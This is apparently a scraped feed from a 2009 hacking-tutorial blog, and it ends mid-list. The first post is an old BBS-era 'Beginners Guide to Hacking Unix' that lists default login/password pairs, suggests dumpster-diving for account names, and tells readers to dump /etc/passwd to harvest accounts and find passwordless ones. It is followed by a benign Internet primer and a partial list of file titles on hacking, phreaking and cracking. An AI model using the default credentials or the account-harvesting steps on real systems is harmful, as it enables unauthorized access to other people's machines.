IN THE FOLLOWING FILE, ALL REFERENCES  MADE TO THE NAME UNIX, MAY ALSO BE  SUBSTITUTED TO THE XENIX OPERATING  SYSTEM.    BRIEF HISTORY:  BACK IN THE EARLY  SIXTIES, DURING THE DEVELOPMENT OF  THIRD GENERATION COMPUTERS AT MIT,  A GROUP OF PROGRAMMERS STUDYING THE  POTENTIAL OF COMPUTERS, DISCOVERED  THEIR ABILITY OF PERFORMING TWO OR  MORE TASKS SIMULTANEOUSLY.  BELL  LABS, TAKING NOTICE OF THIS DISCOVERY,  PROVIDED FUNDS FOR THEIR DEVELOPMENTAL  SCIENTISTS TO INVESTIGATE INTO THIS  NEW FRONTIER.  AFTER ABOUT 2 YEARS OF  DEVELOPMENTAL RESEARCH, THEY PRODUCED  AN OPERATING SYSTEM THEY CANLMD "UNIX".    SIXTIES TO CURRENT:  DURING THIS TIME  BELL SYSTEMS INSTALLED THE UNIX SYSTEM  TO PROVIDE THEIR COMPUTER OPERATORS  WITH THE ABILITY TO MULTITASK SO THAT  THEY COULD BECOME MORE PRODUCTIVE,  AND EFFICIENT.  ONE OF THE SYSTEMS THEY PUT ON THE UNIX SYSTEM WAS CALLED  "ELMOS". THROUGH ELMOS MANY TASKS (I.E. BILLING,AND INSTALLATION RECORDS) COULD  BE DONE BY MANY PEOPLE USING THE SAME  MAINFRAME.    NOTE: COSMOS IS ACCESSED THROUGH THE  ELMOS SYSTEM.    CURRENT:  TODAY, WITH THE DEVELOPMENT  OF MICRO COMPUTERS, SUCH MULTITASKING  CAN BE ACHIEVED BY A SCALED DOWN  VERSION OF UNIX (BUT JUST AS  POWERFUL).  MICROSOFT,SEEING THIS  DEVELOPMENT, OPTED TO DEVELOP THEIR OWN  UNIX LIKE SYSTEM FOR THE IBM LINE OF  PC/XT'S.  THEIR RESULT THEY CALLED  XENIX (PRONOUNCED ZEE-NICKS).  BOTH  UNIX AND XENIX CAN BE EASILY INSTALLED &lt;br /&gt;ON IBM PC'S AND OFFER THE SAME FUNCTION &lt;br /&gt;(JUST 2 DIFFERENT VENDORS). &lt;br /&gt; &lt;br /&gt;NOTE: DUE TO THE MANY DIFFERENT &lt;br /&gt;VERSIONS OF UNIX (BERKLEY UNIX, &lt;br /&gt;BELL SYSTEM III, AND SYSTEM V &lt;br /&gt;THE MOST POPULAR) MANY COMMANDS &lt;br /&gt;FOLLOWING MAY/MAY NOT WORK. I HAVE &lt;br /&gt;WRITTEN THEM IN SYSTEM V ROUTINES. &lt;br /&gt;UNIX/XENIX OPERATING SYSTEMS WILL &lt;br /&gt;BE CONSIDERED IDENTICAL SYSTEMS BELOW. &lt;br /&gt; &lt;br /&gt;HOW TO TELL IF/IF NOT YOU ARE ON A &lt;br /&gt;UNIX SYSTEM:  UNIX SYSTEMS ARE QUITE &lt;br /&gt;COMMON SYSTEMS ACROSS THE COUNTRY. &lt;br /&gt;THEIR SECURITY APPEARS AS SUCH: &lt;br /&gt; &lt;br /&gt;LOGIN;     (OR LOGIN;) &lt;br /&gt;PASSWORD: &lt;br /&gt; &lt;br /&gt;WHEN HACKING ON A UNIX SYSTEM IT IS &lt;br /&gt;BEST TO USE LOWERCASE BECAUSE THE UNIX &lt;br /&gt;SYSTEM COMMANDS ARE ALL DONE IN LOWER- &lt;br /&gt;CASE. &lt;br /&gt;LOGIN; IS A 1-8 CHARACTER FIELD. IT IS &lt;br /&gt;USUALLY THE NAME (I.E. JOE OR FRED) &lt;br /&gt;OF THE USER, OR INITIALS (I.E. J.JONES &lt;br /&gt;OR F.WILSON).  HINTS FOR LOGIN NAMES &lt;br /&gt;CAN BE FOUND TRASHING THE LOCATION OF &lt;br /&gt;THE DIAL-UP (USE YOUR CN/A TO FIND &lt;br /&gt;WHERE THE COMPUTER IS). &lt;br /&gt;PASSWORD: IS A 1-8 CHARACTER PASSWORD &lt;br /&gt;ASSIGNED BY THE SYSOP OR CHOSEN BY THE &lt;br /&gt;USER. &lt;br /&gt;      COMMON DEFAULT LOGINS &lt;br /&gt;   -------------------------- &lt;br /&gt;   LOGIN;       PASSWORD: &lt;br /&gt;   ROOT         ROOT,SYSTEM,ETC.. &lt;br /&gt;   SYS          SYS,SYSTEM &lt;br /&gt;   DAEMON       DAEMON &lt;br /&gt;   UUCP         UUCP &lt;br /&gt;   TTY          TTY &lt;br /&gt;   TEST         TEST &lt;br /&gt;   UNIX         UNIX &lt;br /&gt;   BIN          BIN &lt;br /&gt;   ADM          ADM &lt;br /&gt;   WHO          WHO &lt;br /&gt;   LEARN        LEARN &lt;br /&gt;   UUHOST       UUHOST &lt;br /&gt;   NUUCP        NUUCP &lt;br /&gt; &lt;br /&gt;IF YOU GUESS A LGIN NAME AND YOU ARE &lt;br /&gt;NOT ASKED FOR A PASSWORD, AND HAVE &lt;br /&gt;ACCESSED TO THE SYSTEM, THEN YOU HAVE &lt;br /&gt;WHAT IS KNOWN AS A NON-GIFTED ACCOUNT. &lt;br /&gt;IF YOU GUESS A CORRECT LOGIN AND PASS- &lt;br /&gt;WORD, THEN YOU HAVE A USER ACCOUNT. &lt;br /&gt;AND, IF YOU GUESS THE ROOT PASSWORD, &lt;br /&gt;THEN YOU HAVE A "SUPER-USER" ACCOUNT. &lt;br /&gt;ALL UNIX SYSTEMS HAVE THE FOLLOWING &lt;br /&gt;INSTALLED TO THEIR SYSTEM: &lt;br /&gt;ROOT, SYS, BIN, DAEMON, UUCP, ADM &lt;br /&gt;ONCE YOU ARE IN THE SYSTEM, YOU WILL &lt;br /&gt;GET A PROMPT. COMMON PROMPTS ARE: &lt;br /&gt; &lt;br /&gt;$ &lt;br /&gt;% &lt;br /&gt;# &lt;br /&gt; &lt;br /&gt;BUT CAN BE JUST ABOUT ANYTHING THE &lt;br /&gt;SYSOP OR USER WANTS IT TO BE. &lt;br /&gt; &lt;br /&gt;THINGS TO DO WHEN YOU ARE IN: SOME &lt;br /&gt;OF THE COMMANDS THAT YOU MAY WANT TO &lt;br /&gt;TRY FOLLOW BELOW: &lt;br /&gt; &lt;br /&gt;WHO IS ON  (SHOWS WHO IS CURRENTLY &lt;br /&gt;            LOGGED ON THE SYSTEM.) &lt;br /&gt;WRITE NAME (NAME IS THE PERSON YOU &lt;br /&gt;            WISH TO CHAT WITH) &lt;br /&gt;      TO EXIT CHAT MODE TRY CTRL-D. &lt;br /&gt;      EOT=END OF TRANSFER. &lt;br /&gt;LS -A      (LIST ALL FILES IN CURRENT &lt;br /&gt;            DIRECTORY.) &lt;br /&gt;DU -A      (CHECKS AMOUNT OF MEMORY &lt;br /&gt;            YOUR FILES USE;DISK USAGE) &lt;br /&gt;CD\NAME    (NAME IS THE NAME OF THE &lt;br /&gt;            SUB-DIRECTORY YOU CHOOSE) &lt;br /&gt;CD\        (BRINGS YOUR HOME DIRECTORY &lt;br /&gt;            TO CURRENT USE) &lt;br /&gt;CAT NAME   (NAME IS A FILENAME EITHER &lt;br /&gt;            A PROGRAM OR DOCUMENTATION &lt;br /&gt;            YOUR USERNAME HAS WRITTEN) &lt;br /&gt;      MOST UNIX PROGRAMS ARE WRITTEN &lt;br /&gt;      IN THE C LANGUAGE OR PASCAL &lt;br /&gt;      SINCE UNIX IS A PROGRAMMERS' &lt;br /&gt;      ENVIRONMENT. &lt;br /&gt;ONE OF THE FIRST THINGS DONE ON THE &lt;br /&gt;SYSTEM IS PRINT UP OR CAPTURE (IN A &lt;br /&gt;BUFFER) THE FILE CONTAINING ALL USER &lt;br /&gt;NAMES AND ACCOUNTS. THIS CAN BE DONE &lt;br /&gt;BY DOING THE FOLLOWING COMMAND: &lt;br /&gt; &lt;br /&gt;CAT /ETC/PASSWD &lt;br /&gt; &lt;br /&gt;IF YOU ARE SUCCESSFUL YOU WILL A LIST &lt;br /&gt;OF ALL ACCOUNTS ON THE SYSTEM.  IT &lt;br /&gt;SHOULD LOOK LIKE THIS: &lt;br /&gt; &lt;br /&gt;ROOT:HVNSDCF:0:0:ROOT DIR:/: &lt;br /&gt;JOE:MAJDNFD:1:1:JOE COOL:/BIN:/BIN/JOE &lt;br /&gt;HAL::1:2:HAL SMITH:/BIN:/BIN/HAL &lt;br /&gt; &lt;br /&gt;THE "ROOT" LINE TELLS THE FOLLOWING &lt;br /&gt;INFO : &lt;br /&gt;LOGIN NAME=ROOT &lt;br /&gt;HVNSDCF   = ENCRYPTED PASSWORD &lt;br /&gt;0         = USER GROUP NUMBER &lt;br /&gt;0         = USER NUMBER &lt;br /&gt;ROOT DIR  = NAME OF USER &lt;br /&gt;/         = ROOT DIRECTORY &lt;br /&gt; &lt;br /&gt;IN THE JOE LOGIN, THE LAST PART &lt;br /&gt;"/BIN/JOE " TELLS US WHICH DIRECTORY &lt;br /&gt;IS HIS HOME DIRECTORY (JOE) IS. &lt;br /&gt; &lt;br /&gt;IN THE "HAL" EXAMPLE THE LOGIN NAME IS &lt;br /&gt;FOLLOWED BY 2 COLONS, THAT MEANS THAT &lt;br /&gt;THERE IS NO PASSWORD NEEDED TO GET IN &lt;br /&gt;USING HIS NAME. &lt;br /&gt; &lt;br /&gt;CONCLUSION:  I HOPE THAT THIS FILE &lt;br /&gt;WILL HELP OTHER NOVICE UNIX HACKERS &lt;br /&gt;OBTAIN ACCESS TO THE UNIX/XENIX &lt;br /&gt;SYSTEMS THAT THEY MAY FIND. THERE IS &lt;br /&gt;STILL WIDE GROWTH IN THE FUTURE OF &lt;br /&gt;UNIX, SO I HOPE USERS WILL NOT ABUSE &lt;br /&gt;ANY SYSTEMS (UNIX OR ANY OTHERS) THAT &lt;br /&gt;THEY MAY HAPPEN ACROSS ON THEIR &lt;br /&gt;JOURNEY ACROSS THE ELECTRONIC HIGHWAYS  OF AMERICA.  THERE IS MUCH MORE TO BE  LEARNED ABOUT THE UNIX SYSTEM THAT I  HAVE NOT COVERED.  THEY MAY BE FOUND  BY BUYING A BOOK ON THE UNIX SYSTEM  (HOW I LEARNED) OR IN THE FUTURE  I MAY WRITE A PART II TO THIS........   Downloaded from P-80 Systems......                                                                                                                    &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1600577931686774058-2547665025928926128?l=200hacking-tutorial.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/vx9CGzN0ubcqro1TJsLg37cd3VU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/vx9CGzN0ubcqro1TJsLg37cd3VU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/vx9CGzN0ubcqro1TJsLg37cd3VU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/vx9CGzN0ubcqro1TJsLg37cd3VU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/200HackingTutorial/~4/9ZIZx8l8gV4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://200hacking-tutorial.blogspot.com/feeds/2547665025928926128/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://200hacking-tutorial.blogspot.com/2009/11/beginners-guide-to-hacking-unix.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/2547665025928926128?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/2547665025928926128?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/200HackingTutorial/~3/9ZIZx8l8gV4/beginners-guide-to-hacking-unix.html" title="Beginners Guide to Hacking Unix" /><author><name>EDIDIONG</name><uri>http://www.blogger.com/profile/12177228070157737970</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://200hacking-tutorial.blogspot.com/2009/11/beginners-guide-to-hacking-unix.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEYHQn85fyp7ImA9WxNUEkk.&quot;"><id>tag:blogger.com,1999:blog-1600577931686774058.post-5490190700203106979</id><published>2009-11-03T01:22:00.001-08:00</published><updated>2009-11-03T01:55:33.127-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-03T01:55:33.127-08:00</app:edited><title>Basic Internet Guide</title><content type="html">The Internet is a computer network made up of thousands of networks worldwide. No one knows exactly how many computers are connected to the Internet. It is certain, however, that these number in the millions.&lt;br /&gt;&lt;br /&gt;No one is in charge of the Internet. There are organizations which develop technical aspects of this network and set standards for creating applications on it, but no governing body is in control. The Internet backbone, through which Internet traffic flows, is owned by private companies.&lt;br /&gt;&lt;br /&gt;All computers on the Internet communicate with one another using the Transmission Control Protocol/Internet Protocol suite, abbreviated to TCP/IP. Computers on the Internet use a client/server architecture. This means that the remote server machine provides files and services to the user's local client machine. Software can be installed on a client computer to take advantage of the latest access technology.&lt;br /&gt;&lt;br /&gt;An Internet user has access to a wide variety of services: electronic mail, file transfer, vast information resources, interest group membership, interactive collaboration, multimedia displays, real-time broadcasting, shopping opportunities, breaking news, and much more.&lt;br /&gt;&lt;br /&gt;The Internet consists primarily of a variety of access protocols. Many of these protocols feature programs that allow users to search for and retrieve material made available by the protocol.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;COMPONENTS OF THE INTERNET&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;WORLD WIDE WEB&lt;br /&gt;The World Wide Web (abbreviated as the Web or WWW) is a system of Internet servers that supports hypertext to access several Internet protocols on a single interface. Almost every protocol type available on the Internet is accessible on the Web. This includes e-mail, FTP, Telnet, and Usenet News. In addition to these, the World Wide Web has its own protocol: HyperText Transfer Protocol, or HTTP. These protocols will be explained later in this document.&lt;br /&gt;&lt;br /&gt;The World Wide Web provides a single interface for accessing all these protocols. This creates a convenient and user-friendly environment. It is no longer necessary to be conversant in these protocols within separate, command-level environments. The Web gathers together these protocols into a single system. Because of this feature, and because of the Web's ability to work with multimedia and advanced programming languages, the Web is the fastest-growing component of the Internet.&lt;br /&gt;&lt;br /&gt;The operation of the Web relies primarily on hypertext as its means of information retrieval. HyperText is a document containing words that connect to other documents. These words are called links and are selectable by the user. A single hypertext document can contain links to many documents. In the context of the Web, words or graphics may serve as links to other documents, images, video, and sound. Links may or may not follow a logical path, as each connection is programmed by the creator of the source document. Overall, the Web contains a complex virtual web of connections among a vast number of documents, graphics, videos, and sounds.&lt;br /&gt;&lt;br /&gt;Producing hypertext for the Web is accomplished by creating documents with a language called HyperText Markup Language, or HTML. With HTML, tags are placed within the text to accomplish document formatting, visual features such as font size, italics and bold, and the creation of hypertext links. Graphics and multimedia may also be incorporated into an HTML document. HTML is an evolving language, with new tags being added as each upgrade of the language is developed and released. The World Wide Web Consortium (W3C), led by Web founder Tim Berners-Lee, coordinates the efforts of standardizing HTML. The W3C now calls the language XHTML and considers it to be an application of the XML language standard.&lt;br /&gt;&lt;br /&gt;The World Wide Web consists of files, called pages or home pages, containing links to documents and resources throughout the Internet.&lt;br /&gt;&lt;br /&gt;The Web provides a vast array of experiences including multimedia presentations, real-time collaboration, interactive pages, radio and television broadcasts, and the automatic "push" of information to a client computer. Programming languages such as Java, JavaScript, Visual Basic, Cold Fusion and XML are extending the capabilities of the Web. A growing amount of information on the Web is served dynamically from content stored in databases. The Web is therefore not a fixed entity, but one that is in a constant state of development and flux.&lt;br /&gt;&lt;br /&gt;For more complete information about the World Wide Web, see Understanding The World Wide Web.&lt;br /&gt;&lt;br /&gt;E-MAIL&lt;br /&gt;Electronic mail, or e-mail, allows computer users locally and worldwide to exchange messages. Each user of e-mail has a mailbox address to which messages are sent. Messages sent through e-mail can arrive within a matter of seconds.&lt;br /&gt;&lt;br /&gt;A powerful aspect of e-mail is the option to send electronic files to a person's e-mail address. Non-ASCII files, known as binary files, may be attached to e-mail messages. These files are referred to as MIME attachments.MIME stands for Multimedia Internet Mail Extension, and was developed to help e-mail software handle a variety of file types. For example, a document created in Microsoft Word can be attached to an e-mail message and retrieved by the recipient with the appropriate e-mail program. Many e-mail programs, including Eudora, Netscape Messenger, and Microsoft Outlook, offer the ability to read files written in HTML, which is itself a MIME type.&lt;br /&gt;&lt;br /&gt;TELNET&lt;br /&gt;Telnet is a program that allows you to log into computers on the Internet and use online databases, library catalogs, chat services, and more. There are no graphics in Telnet sessions, just text. To Telnet to a computer, you must know its address. This can consist of words (locis.loc.gov) or numbers (140.147.254.3). Some services require you to connect to a specific port on the remote computer. In this case, type the port number after the Internet address. Example: telnet nri.reston.va.us 185.&lt;br /&gt;&lt;br /&gt;Telnet is available on the World Wide Web. Probably the most common Web-based resources available through Telnet have been library catalogs, though most catalogs have since migrated to the Web. A link to a Telnet resource may look like any other link, but it will launch a Telnet session to make the connection. A Telnet program must be installed on your local computer and configured to your Web browser in order to work.&lt;br /&gt;&lt;br /&gt;With the increasing popularity of the Web, Telnet has become less frequently used as a means of access to information on the Internet.&lt;br /&gt;&lt;br /&gt;FTP&lt;br /&gt;FTP stands for File Transfer Protocol. This is both a program and the method used to transfer files between computers. Anonymous FTP is an option that allows users to transfer files from thousands of host computers on the Internet to their personal computer account. FTP sites contain books, articles, software, games, images, sounds, multimedia, course work, data sets, and more.&lt;br /&gt;&lt;br /&gt;If your computer is directly connected to the Internet via an Ethernet cable, you can use one of several PC software programs, such as WS_FTP for Windows, to conduct a file transfer.&lt;br /&gt;&lt;br /&gt;FTP transfers can be performed on the World Wide Web without the need for special software. In this case, the Web browser will suffice. Whenever you download software from a Web site to your local machine, you are using FTP. You can also retrieve FTP files via search engines such as FtpFind, located at /http://www.ftpfind.com/. This option is easiest because you do not need to know FTP program commands.&lt;br /&gt;&lt;br /&gt;E-MAIL DISCUSSION GROUPS&lt;br /&gt;One of the benefits of the Internet is the opportunity it offers to people worldwide to communicate via e-mail. The Internet is home to a large community of individuals who carry out active discussions organized around topic-oriented forums distributed by e-mail. These are administered by software programs. Probably the most common program is the listserv.&lt;br /&gt;&lt;br /&gt;A great variety of topics are covered by listservs, many of them academic in nature. When you subscribe to a listserv, messages from other subscribers are automatically sent to your electronic mailbox. You subscribe to a listserv by sending an e-mail message to a computer program called a listserver. Listservers are located on computer networks throughout the world. This program handles subscription information and distributes messages to and from subscribers. You must have a e-mail account to participate in a listserv discussion group. Visit Tile.net at /http://tile.net/ to see an example of a site that offers a searchablecollection of e-mail discussion groups.&lt;br /&gt;&lt;br /&gt;Majordomo and Listproc are two other programs that administer e-mail discussion groups. The commands for subscribing to and managing your list memberships are similar to those of listserv.&lt;br /&gt;&lt;br /&gt;USENET NEWS&lt;br /&gt;Usenet News is a global electronic bulletin board system in which millions of computer users exchange information on a vast range of topics. The major difference between Usenet News and e-mail discussion groups is the fact that Usenet messages are stored on central computers, and users must connect to these computers to read or download the messages posted to these groups. This is distinct from e-mail distribution, in which messages arrive in the electronic mailboxes of each list member.&lt;br /&gt;&lt;br /&gt;Usenet itself is a set of machines that exchanges messages, or articles, from Usenet discussion forums, called newsgroups. Usenet administrators control their own sites, and decide which (if any) newsgroups to sponsor and which remote newsgroups to allow into the system.&lt;br /&gt;&lt;br /&gt;There are thousands of Usenet newsgroups in existence. While many are academic in nature, numerous newsgroups are organized around recreational topics. Much serious computer-related work takes place in Usenet discussions. A small number of e-mail discussion groups also exist as Usenet newsgroups.&lt;br /&gt;&lt;br /&gt;The Usenet newsfeed can be read by a variety of newsreader software programs. For example, the Netscape suite comes with a newsreader program called Messenger. Newsreaders are also available as standalone products.&lt;br /&gt;&lt;br /&gt;FAQ, RFC, FYI&lt;br /&gt;FAQ stands for Frequently Asked Questions. These are periodic postings to Usenet newsgroups that contain a wealth of information related to the topic of the newsgroup. Many FAQs are quite extensive. FAQs are available by subscribing to individual Usenet newsgroups. A Web-based collection of FAQ resources has been collected by The Internet FAQ Consortium and is available at /http://www.faqs.org/.&lt;br /&gt;&lt;br /&gt;RFC stands for Request for Comments. These are documents created by and distributed to the Internet community to help define the nuts and bolts of the Internet. They contain both technical specifications and general information.&lt;br /&gt;&lt;br /&gt;FYI stands for For Your Information. These notes are a subset of RFCs and contain information of interest to new Internet users.&lt;br /&gt;&lt;br /&gt;Links to indexes of all three of these information resources are available on the University Libraries Web site at /http://library.albany.edu/reference/faqs.html.&lt;br /&gt;&lt;br /&gt;CHAT &amp; INSTANT MESSENGING&lt;br /&gt;Chat programs allow users on the Internet to communicate with each other by typing in real time. They are sometimes included as a feature of a Web site, where users can log into the "chat room" to exchange comments and information about the topics addressed on the site. Chat may take other, more wide-ranging forms. For example, America Online is well known for sponsoring a number of topical chat rooms.&lt;br /&gt;&lt;br /&gt;Internet Relay Chat (IRC) is a service through which participants can communicate to each other on hundreds of channels. These channels are usually based on specific topics. While many topics are frivolous, substantive conversations are also taking place. To access IRC, you must use an IRC software program.&lt;br /&gt;&lt;br /&gt;A variation of chat is the phenomenon of instant messenging. With instant messenging, a user on the Web can contact another user currently logged in and type a conversation. Most famous is America Online's Instant Messenger. ICQ, MSN and Yahoo are other commonly-used chat programs.&lt;br /&gt;&lt;br /&gt;Other types of real-time communication are addressed in the tutorial Understanding the World Wide Web.&lt;br /&gt;&lt;br /&gt;MUD/MUSH/MOO/MUCK/DUM/MUSE&lt;br /&gt;MUD stands for Multi User Dimension. MUDs, and their variations listed above, are multi-user virtual reality games based on simulated worlds. Traditionally text based, graphical MUDs now exist. There are MUDs of all kinds on the Internet, and many can be joined free of charge. For more information, read one of the FAQs devoted to MUDs available at the FAQ site at&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1600577931686774058-5490190700203106979?l=200hacking-tutorial.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/EAmV7YvkSoCxcUrzsC7vzRdB1-4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/EAmV7YvkSoCxcUrzsC7vzRdB1-4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/EAmV7YvkSoCxcUrzsC7vzRdB1-4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/EAmV7YvkSoCxcUrzsC7vzRdB1-4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/200HackingTutorial/~4/HPnkDLvboh4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://200hacking-tutorial.blogspot.com/feeds/5490190700203106979/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://200hacking-tutorial.blogspot.com/2009/11/basic-internet-guide.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/5490190700203106979?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/5490190700203106979?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/200HackingTutorial/~3/HPnkDLvboh4/basic-internet-guide.html" title="Basic Internet Guide" /><author><name>EDIDIONG</name><uri>http://www.blogger.com/profile/12177228070157737970</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://200hacking-tutorial.blogspot.com/2009/11/basic-internet-guide.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEYHQn85cSp7ImA9WxNUEkk.&quot;"><id>tag:blogger.com,1999:blog-1600577931686774058.post-376169750235549705</id><published>2009-11-03T01:21:00.000-08:00</published><updated>2009-11-03T01:55:33.129-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-03T01:55:33.129-08:00</app:edited><title>123456789</title><content type="html">#DataVault, Irc Warez (Ty 4 Moving X).txt&lt;br /&gt;-[ How to rip Dynamic Flash Template ]-.txt&lt;br /&gt;10 reasons why PCs crash U must Know.txt&lt;br /&gt;10 Security Enhancements.txt&lt;br /&gt;123456789.txt&lt;br /&gt;16x Dvd+-rw Dl Dvd Writer Comparison Guide.txt&lt;br /&gt;20 Great Google Secrets.txt&lt;br /&gt;23 Ways To Speed WinXP, Not only Defrag.txt&lt;br /&gt;250+ Tech books online.txt&lt;br /&gt;2600 Hertz Single Tone Generator Schematic.txt&lt;br /&gt;36 Graphics &amp; Design Ebooks.txt&lt;br /&gt;8 People Can Use The Same Msn Dial Up Account.txt&lt;br /&gt;A Basic Guide to the Internet.txt&lt;br /&gt;A Basic UNIX Overview.rtf&lt;br /&gt;A BEGINNERS GUIDE TO Hacking Unix.txt&lt;br /&gt;A Cracking Tutorial&lt;br /&gt;A Guide to Internet Security- Becoming an Uebercracker.txt&lt;br /&gt;A Guide to the Easiest Hacking there is.txt&lt;br /&gt;A List of every TeleNet code that there is.txt&lt;br /&gt;A List Of Government BBS Numbers.txt&lt;br /&gt;A List Of Some OF The Most Useful UNIX Hacking Commands.htm&lt;br /&gt;A Novice's Guide to Hacking 2004.txt&lt;br /&gt;A Novice's Guide To Hacking.txt&lt;br /&gt;A Short HACKER SPEAK Glossary.txt&lt;br /&gt;A simple TCP spoofing attack.txt&lt;br /&gt;A Small Guide to Hacking HOTMAIL.txt&lt;br /&gt;A UNIX Hacking Tutorial.txt&lt;br /&gt;A very small tut for RealMedia.txt&lt;br /&gt;A Web Standards Checklist, How to make a proper website.txt&lt;br /&gt;Accessing the bindery files directly.txt&lt;br /&gt;Accessing The Entire Internet On Your 3 Phone, U8110, E616 etc..txt&lt;br /&gt;Advanced Shellcoding Techniques.txt&lt;br /&gt;All about ftp must read.txt&lt;br /&gt;All About Movie Tags (what Is A Dvdrip, Cam Etc.).txt&lt;br /&gt;ALL About Spyware.txt&lt;br /&gt;All mIRC Commands.txt&lt;br /&gt;Almost Everything You Ever Wanted To Know About Security (but.txt&lt;br /&gt;An Architectural Overview of UNIX Network Security.htm&lt;br /&gt;An Extensive Guide to Bell System Man Holes.txt&lt;br /&gt;An Indepth Guide in Hacking UNIX and the concept of Basic Net.txt&lt;br /&gt;An Introduction into TeleScan.txt&lt;br /&gt;An Introduction to Denial of Service.txt&lt;br /&gt;An Introduction to the Computer Underground.txt&lt;br /&gt;An Introductory Guide To TeleNet Commands.txt&lt;br /&gt;Anarchist Cookbook 2004&lt;br /&gt;Anonymity complete GUIDE.rtf&lt;br /&gt;Anonymity of Proxy, Anonymity Of Proxy learn it insideout.txt&lt;br /&gt;Anonymity.txt&lt;br /&gt;ANONYMOUS emails.txt&lt;br /&gt;Anonymous FTP FAQ.htm&lt;br /&gt;ANSIBombs II Tips And Techniques.txt&lt;br /&gt;anti leech hacking tutorial.txt&lt;br /&gt;Area Codes and Time Zones.txt&lt;br /&gt;attacks on networks how to stop.htm&lt;br /&gt;Auto End Tasks to Enable a Proper Shutdown, Win XP Tweak.txt&lt;br /&gt;Automatic Windows Installation, No keypress required!.txt&lt;br /&gt;B.A. regedit.txt&lt;br /&gt;Backdoor.txt&lt;br /&gt;Backdoors.txt&lt;br /&gt;Backtracking EMAIL Messages.txt&lt;br /&gt;Bandwidth Explained!.txt&lt;br /&gt;Basic Networking.txt&lt;br /&gt;BBS CRASHING TECHNIQUES.txt&lt;br /&gt;Becoming A Phreaker - The Quick n' Easy Way.txt&lt;br /&gt;Beep Code Manual.txt&lt;br /&gt;Beep Codes Error Codes.txt&lt;br /&gt;Bell Hell Volume #1.txt&lt;br /&gt;Bell Hell Volume #2.txt&lt;br /&gt;Best Keyboard Shortcuts.txt&lt;br /&gt;Big Brother And Ndisuio.sys, A new Internet phenomenon.txt&lt;br /&gt;Bin &amp; Cue Simple Tut.txt&lt;br /&gt;BIOS Update Procedure.txt&lt;br /&gt;Bit Torrent Tutorials.txt&lt;br /&gt;Block Adservers.txt&lt;br /&gt;Boot Block Recovery For Free.txt&lt;br /&gt;Boot Winxp Fast.txt&lt;br /&gt;Border And Text Effects In Psp8, For use with PSP8.txt&lt;br /&gt;Breaker B0X.txt&lt;br /&gt;Broken Ie, How to fix it.txt&lt;br /&gt;BRUTE- A brute force approach to hacking Unix passwords.txt&lt;br /&gt;Bulk Editing Of .xxx to .zip or .mp3.txt&lt;br /&gt;BulletProof FTP Server Tutorial.txt&lt;br /&gt;Burn .bin file Without A .cue file.txt&lt;br /&gt;Burn a BIN without a CUE using NERO.txt&lt;br /&gt;Burning Bin &amp; Cue Using Nero.txt&lt;br /&gt;Bust Avoidance For Dipshits.txt&lt;br /&gt;busybox.txt&lt;br /&gt;Bypass Internet Censorship.txt&lt;br /&gt;Calculating Offsets.txt&lt;br /&gt;cannot use my password to get back into Windows XP.txt&lt;br /&gt;Cant See Secure Sites.txt&lt;br /&gt;Caught A Virus.txt&lt;br /&gt;Cellular Listening with a TV .txt&lt;br /&gt;Cellular Telephone Phreaking Phile Series VOL 1.txt&lt;br /&gt;Change Music In The Malibu And The Pole Position, GTA Vice Modders.txt&lt;br /&gt;Change Text on XP Start Button.rtf&lt;br /&gt;Change Text on XP Start Button.txt&lt;br /&gt;Change The Default Location For Installing Apps.txt&lt;br /&gt;Change The Storage Location Of 'my Documents', a bit safer for when your PC crashes....txt&lt;br /&gt;Change Your Ip In Less Then 1 Minute.txt&lt;br /&gt;Changing Default Location For Installing Apps.txt&lt;br /&gt;Check For Dos, Check to see if you are infected..txt&lt;br 